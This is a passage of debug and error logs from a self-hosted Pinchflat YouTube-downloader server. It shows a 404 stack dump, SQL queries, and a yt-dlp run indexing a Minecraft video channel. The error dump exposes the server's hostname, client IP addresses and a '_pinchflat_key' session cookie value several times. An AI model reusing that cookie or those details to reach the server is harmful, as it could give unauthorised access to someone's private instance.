(PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164177.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 50184}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRWJGRnhhZ0JPNzVmVHhQQ1pYd21LSDhX.RIF9ZscbkYInuM-5aefCd6Yivw4BSaeFGALTTdoukgE", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRWJGRnhhZ0JPNzVmVHhQQ1pYd21LSDhX.RIF9ZscbkYInuM-5aefCd6Yivw4BSaeFGALTTdoukgE" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.164178.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRWJGRnhhZ0JPNzVmVHhQQ1pYd21LSDhX.RIF9ZscbkYInuM-5aefCd6Yivw4BSaeFGALTTdoukgE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRWJGRnhhZ0JPNzVmVHhQQ1pYd21LSDhX.RIF9ZscbkYInuM-5aefCd6Yivw4BSaeFGALTTdoukgE"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.41"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1i0C1S7lYmE_MAFtCh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164177.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 50184}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRWJGRnhhZ0JPNzVmVHhQQ1pYd21LSDhX.RIF9ZscbkYInuM-5aefCd6Yivw4BSaeFGALTTdoukgE", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164177.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 50184}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRWJGRnhhZ0JPNzVmVHhQQ1pYd21LSDhX.RIF9ZscbkYInuM-5aefCd6Yivw4BSaeFGALTTdoukgE", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRWJGRnhhZ0JPNzVmVHhQQ1pYd21LSDhX.RIF9ZscbkYInuM-5aefCd6Yivw4BSaeFGALTTdoukgE" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.164178.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Func (truncated) 19:34:47.830 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.192 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:35:17.832 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:40.608 [info] GET /media_profiles 19:35:40.608 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 19:35:40.609 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1213.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 19:35:40.610 [debug] QUERY OK source="settings" db=0.1ms idle=827.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:35:40.610 [debug] QUERY OK source="settings" db=0.0ms idle=827.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:35:40.610 [debug] QUERY OK source="settings" db=0.1ms idle=828.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:35:40.611 [info] Sent 200 in 2ms 19:35:47.834 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:51.421 [info] {"args":{"id":2},"id":17081,"meta":{},"system_time":1787193351421484607,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:35:51.422 [debug] QUERY OK source="sources" db=0.2ms idle=1639.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:35:51.422 [debug] QUERY OK source="settings" db=0.2ms idle=1639.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:35:51.424 [debug] QUERY OK source="media_items" db=1.4ms idle=1010.4ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 19:35:51.424 [debug] QUERY OK source="media_items" db=0.4ms idle=9.7ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 19:35:51.424 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:35:51.425 [debug] QUERY OK source="settings" db=0.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:35:51.425 [debug] QUERY OK source="settings" db=0.0ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:35:51.427 [debug] QUERY OK source="media_items" db=1.1ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [2] 19:35:51.432 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 19:35:51.432 [debug] Current batch of media processed. Will check again in 1000ms 19:35:51.432 [debug] QUERY OK source="settings" db=0.2ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:35:51.432 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:35:51.432 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:35:51.433 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@maizenofficial --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/6f/eb/6feb3057e272f02a420ae2c1f6d848b8eeb20b6e11f8657e18fec9b5082a623c.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/17/68/17681665918955d20f3a6323f42956bab40458eb75e9ab02a0c8e04894c09f00.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:35:52.433 [debug] Current batch of media processed. Will check again in 1000ms 19:35:53.434 [debug] Current batch of media processed. Will check again in 1000ms 19:35:54.435 [debug] Current batch of media processed. Will check again in 1000ms 19:35:55.436 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 976, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", "id" => "2-aPfodzXeE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2-aPfodzXeE", "playlist_index" => 1, "timestamp" => 1787043612, "title" => "Why JJ And Mikey Ate ENTIRE World?", "upload_date" => "20260818"} 19:35:55.437 [debug] QUERY OK source="sources" db=0.2ms idle=654.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:35:55.437 [debug] QUERY OK source="sources" db=0.2ms idle=655.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:35:55.439 [debug] QUERY OK source="media_items" db=1.2ms idle=655.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-18 09:00:12Z], 2] 19:35:55.440 [debug] QUERY OK source="media_items" db=0.6ms idle=657.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "ca0f3fd6-9cb9-430b-a19c-f01292d9f8fb", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", 1, "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, false, false, 2, [], 98, ~U[2026-08-18 09:00:12Z], ~U[2026-08-20 02:35:55Z], ~U[2026-08-20 02:35:55Z], "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, 2, ~U[2026-08-18 09:00:12Z]] 19:35:55.440 [debug] QUERY OK source="sources" db=0.2ms idle=20.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:35:55.440 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:35:55.441 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [482073] 19:35:55.441 [debug] Current batch of media processed. Will check again in 1000ms 19:35:56.442 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1231, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", "id" => "SYBhOxduPUg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=SYBhOxduPUg", "playlist_index" => 2, "timestamp" => 1786852811, "title" => "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "upload_date" => "20260816"} 19:35:56.442 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:35:56.443 [debug] QUERY OK source="sources" db=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:35:56.444 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-16 04:00:11Z], 2] 19:35:56.445 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "5ba8df46-026a-41aa-aa22-4a4d8c3a3192", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", 2, "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, false, false, 2, [], 98, ~U[2026-08-16 04:00:11Z], ~U[2026-08-20 02:35:56Z], ~U[2026-08-20 02:35:56Z], "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, 2, ~U[2026-08-16 04:00:11Z]] 19:35:56.446 [debug] QUERY OK source="sources" db=0.1ms idle=24.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:35:56.446 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", 